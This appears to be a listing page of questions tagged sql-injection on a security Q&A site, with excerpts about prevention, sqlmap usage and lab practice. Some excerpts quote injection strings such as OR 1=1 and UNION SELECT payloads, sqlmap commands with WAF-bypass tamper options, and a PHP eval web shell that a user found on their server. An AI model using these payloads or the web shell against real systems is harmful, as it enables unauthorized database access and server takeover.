Questions tagged [sql-injection]
SQL injection is a technique used to take advantage of vulnerabilities arising from non-validated input on web applications to pass SQL commands through for execution on a backend database.
809
questions
0
votes
1answer
54 views
Virus / malware stored inside database
I have a small network of several Windows 10 machines (all protected by BitDefender 2020 Total Security), one of which acts as server with Firebird database.
For some time the database is ...
-1
votes
2answers
85 views
Can someone Inject malicious SQL to my SQL query?
I build a simple chat with MySQL. It has a table called users and two colums: id and username. I use the following query to extract username and ID by ID.
Is there a way someone can Inject malicios ...
0
votes
2answers
60 views
sqlmap won't give me results i'm looking for [closed]
I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [...
-1
votes
0answers
23 views
Is CodeIgniter 4 secure? [closed]
I am start using codeigniter 4. Codeigniter Model and query builder using escape. codeigniter will automitically escape all data before enter database. They are not use prepared statement for query ...
0
votes
1answer
44 views
SQLMap Only Returns information_schema
I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
0
votes
1answer
59 views
PostgreSQL injection with basic sanitization
I'm trying to figure out if an SQLi for the following PostgreSQL/Java code exists.
public void availableItems(String name) {
return this.query("SELECT * FROM items WHERE name='"+name+"...
0
votes
0answers
45 views
Sqlmap not detects error based injection
I am working on Hack the VM (hard machine) for my OSCP preparation
There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
0
votes
1answer
56 views
sql injection mitigation by signed db entries?
In a php/mysql based system I work on, they recently found several SQL injection vulnerabilities. Those come from 3rd party plugins, and I must assume there are more to be discovered.
My major concern ...
0
votes
0answers
19 views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all ...
1
vote
1answer
93 views
ORDER BY sort direction is exploitable in SQL Injection?
I am testing an internal application and come across a page where if I am able to make the application display a SQL error because it does not recognize the payload for ORDER BY sort direction. The ...
0
votes
1answer
114 views
How can I write a function that will log a user in an old system without knowing any username or password? [closed]
I'm studying Internet Security and I learned something about code injection in older websites (using the string ' OR 1 == 1 // as a username will log in with any password provided); but what if a ...
0
votes
1answer
57 views
How to best limit SQL injection attacks that are being funneled through an Apache proxy I control
I use an Apache proxy to funnel traffic to an IIS server. The IIS server sends me emails if some bad actor attacks my site with an sql injection attack. It captures their IP address, and sends me the ...
0
votes
0answers
49 views
SQLmap automation
I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)?
The tool doesn't support ...
1
vote
1answer
68 views
Multi-byte character exploit
I read this answer, It explains how a multi-byte character exploit works in a decent way, the only way I could think of avoiding this problem is whitelisting all single-byte characters because of the ...
0
votes
1answer
69 views
Having problems with SQL injection with mysqli extension PHP
I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections.
Now I have myself ...
0
votes
0answers
69 views
Sqlmap waf bypass
This is my first post here, sorry for my english.
Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap.
what ...
0
votes
1answer
58 views
SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'
I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter
4: Show also HTTP requests.
I did scan one of the vulnerable and 'free to hack' sites.
In one of the requests sent, the ...
0
votes
0answers
94 views
What type of attack is this? '[0]
This is the example query: GET directory/file.txt?lang=it'[0] HTTP/1.1
I don't know what language it is. The ' (single quote) reminds me of a SQL Injection.
I don't think it's a typo because I saw ...
0
votes
1answer
68 views
How to find vulnerable PHP parameter such as `.php?id=` as found in Kioptrix 3?
This is part of my preparation for OSCP.
According to https://www.vulnhub.com/entry/kioptrix-level-12-3,24/, Kioptrix 3 is vulnerable to SQL Injection.
However, I found that SQLi challenge on ...
1
vote
2answers
114 views
Develop and test a vulnerable login system
I'm a beginner on course to be an expert (hopefully) and I've been set assignments to test security systems on the web. The whole assignment is to prepare, test and document the results to correlate ...
1
vote
1answer
44 views
How do SRP (and PAKE generally) protect against verifier leak
I have been reading into PAKE protocols, specifically starting with SRP RFC2945
The gist of the requirement on the server is that the server saves triplet (username, verifier (v), salt (s)) in the ...
0
votes
2answers
186 views
In SQL injection why don't we use OR 1 or OR 2>1 instead of OR 1=1?
I read everywhere regarding SQL injection where it is said that if SQL query is:
SELECT * FROM table_name where username='xxxxx' AND password ='xxxx'
and if you want to enter always true condition ...
0
votes
1answer
130 views
SQL injection and XSS prevention
I would kindly ask you to review the following code and tell me if it's enough to prevent most of SQL injection and XSS attacks.
SQL injection: treated via PDO prepared statements;
XSS: All user's ...
1
vote
0answers
66 views
Possibility of dynamically generated prepared statements and stored procedure SQL injection?
I am working on Java application which generate SQL prepared statements and stored procedure query strings using user inputs and executes with PreparedStatement.execute() or CallableStatement.execute()...
0
votes
0answers
44 views
Drupal 8 - Create REST API vulnerable to SQL Injection for CTF purposes
Recently I started creating a CTF challenge based on Drupal 8. I want to create a REST API parameter that will be vulnerable to SQLi. Even if this isn't something I should ask for here, I decided to ...
1
vote
3answers
129 views
Prevent SQL injections on the old PHP website using software
A friend of mine works for a company which owns a 15-ish years old website written in PHP using Apache/MySQL/home brew CMS and outdated hosting on OS Debian 8 "jessie". SSH allows passwords (with no ...
0
votes
2answers
253 views
SQLMap Cookie Injectioin with Working Manual SQLi
I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value:
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
This works ...
0
votes
0answers
31 views
Unable to exploit SQL injection in the parameter
During my testing I have found a vulnerable parameter in an API (/api/v1/documents/?direction=desc&limit=30&mode=reports**&page=1**) and its parameter is page=1 at the end. Upon giving the ...
1
vote
1answer
83 views
What does the last single quote of the sql injection query: ' or “1”=“1” ' mean
I couldn't fully grasp why the last single quote of the sql query: ' or "1"="1" ' is necessary. So I understand the part until the last single quote '. The first single quote enables to inject the sql ...
0
votes
1answer
64 views
How are biometrics tougher to crack than a pin?
When I hear that bio-metrics are tougher to crack, it's left ambiguous as to whether they refer to the term 'hack' as simply getting through the system by guessing the password or mimicking the person....
26
votes
12answers
7k views
Why are stored procedures and prepared statements the preferred modern methods for preventing SQL Injection over mysql real escape string() function
Why are stored procedures and prepared statements the preferred modern methods for preventing SQL Injection over mysql_real_escape_string() function?
-4
votes
3answers
63 views
Why is using prepared statements in PHP considered best practice?
Let me first start by stating that I am by no means a webdeveloper, so please do point out if I'm going in the wrong somewhere in my story.
I think most people agree with the idea that using prepared ...
0
votes
0answers
79 views
Out-of-band Sql Injection
When I was doing some security research, I found an unexpected query in a POST request like this:
q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22something%22%3A%22blah%22%2C...%7D'
Where the ...
1
vote
1answer
118 views
SQL injection with no output
So I found this section of a webpage, which is a basic "feedback box". It had all the characteristics of an SQL injectable element. Scanned it with OWASP, it was true. Tried SQLmap, it gave me ...
0
votes
1answer
45 views
What to do if right table has more columns than left table for UNION injection?
I'm trying an injection on the following SQL statement:
SELECT * FROM Products WHERE ((name LIKE '%Apple%' OR description LIKE '%Apple')
I've determined that the Products table has 9 columns, and ...
3
votes
3answers
157 views
Is SQL injection still a bad thing if the user is restricted to non-harmful queries?
Suppose I have a very simple PHP application that acts as a front-end for an SQL database. The user enters their query into a box, and the app shows the query results in a table.
To prevent a user ...
0
votes
0answers
52 views
SQLsus injections failed
I’m trying to inject a website using sqlsus tool on Kali, but i keep getting a failure message, I’ve changed the website I’m testing even though I’m sure it’s vulnerable, but still a failure message.
...
3
votes
1answer
50 views
Sql map Manual Vulnerability Assessment
I am trying to do penetration testing for one of my client.
The platform is Code ignitor.
There is an endpoint /find/1
The function queries the vehicle table where vehicle ID is 1 with no sanity check....
50
votes
1answer
9k views
In SQL injections why do they put “— -” at the end of the URL?
I understand when they put a + at the end, URL treats it like a space.
I want to know what -- - does. I do know what the "double dash" does. Including the double dash with a "space at the end". I ...
1
vote
1answer
297 views
There seems to have been an attempt to attack my website [duplicate]
I am using PHP as a server side language. And I don't use CMS or Framework. From the nginx log the website attack seems obvious.
I wonder what kind of attack the attacker attempted.
The attacker ...
4
votes
1answer
100 views
Making SQL/HTML Injection attacks programmatically impossible
Apparently having 100% prevention of SQL Injection and XSS attacks is easier said than done, but why?
Can't static code analysis tools ensure that all user supplied input vectors (including user ...
1
vote
0answers
136 views
XSS / SQL Injection Attacks with Character Encoding Mixups
Are there any character encoding mixup attacks that are still a threat in 2020? Such as with XSS or SQL injection being the most obvious.
Some examples:
Tricking a browser to display a page in UTF-...
4
votes
0answers
143 views
Whats the meaning of ] symbol in a SQL query?
I have come across a CTF challenge that has a part with an SQL injection (MySQL DB). I have completed it, but I do not know why or how the injection works.
The query in the PHP application would ...
2
votes
3answers
161 views
Are injection vulnerabilities a design or an implementation flaw?
Are injection vulnerabilities mainly a design or an implementation problem? I'm using SQL injection as an example; I'm interested in other injection vulnerabilities as well.
I believe that it is the ...
0
votes
1answer
124 views
Is my Java code still vulnerable to SQL injection? [duplicate]
We have a Java web application that was vulnerable to blind SQL injection attacks. Our developers fixed the code by using the replaceAll() function to convert single quotes to two single quotes. I am ...
1
vote
0answers
161 views
SQLMAP with single URL application
I have a local application which will be accessible only after login. Its single URL application, URL of application won't change, just it use 'XMLHttpRequest' to refresh the content of screen based ...
1
vote
1answer
117 views
It this a safe way to filter input into an SQL query
Is this a safe way to filter strings into an SQL query in java or could this be bypassed? I understand that I should just parameterize everything but this is an ancient code base where it makes more ...
0
votes
0answers
72 views
Response seems to get redirected if SQL injection query succeeds, if not then it doesn't get redirected
Under the authorization of my friend, I am testing his website against potential vulnerabilities.
I was trying to find if I was able to inject a SQL query into a POST request parameter hi' or 1=1 --:
...
0
votes
0answers
142 views
Is this SQLMap query is correct?
I am practicing on some vulnerable application, and I am asked to find an injection vulnerability with a payload. it states there is a common and simple filter in place. Then I need to extract the ...
2
votes
2answers
468 views
SQL injection using URL query string (web application/php server)
Hacker is trying to attack the site by using the following SQL injection query to get the SQL version.
Using URL site. example:
www.abc.com/?queryParamString=(SELECT 9701 FROM(SELECT COUNT(*),...
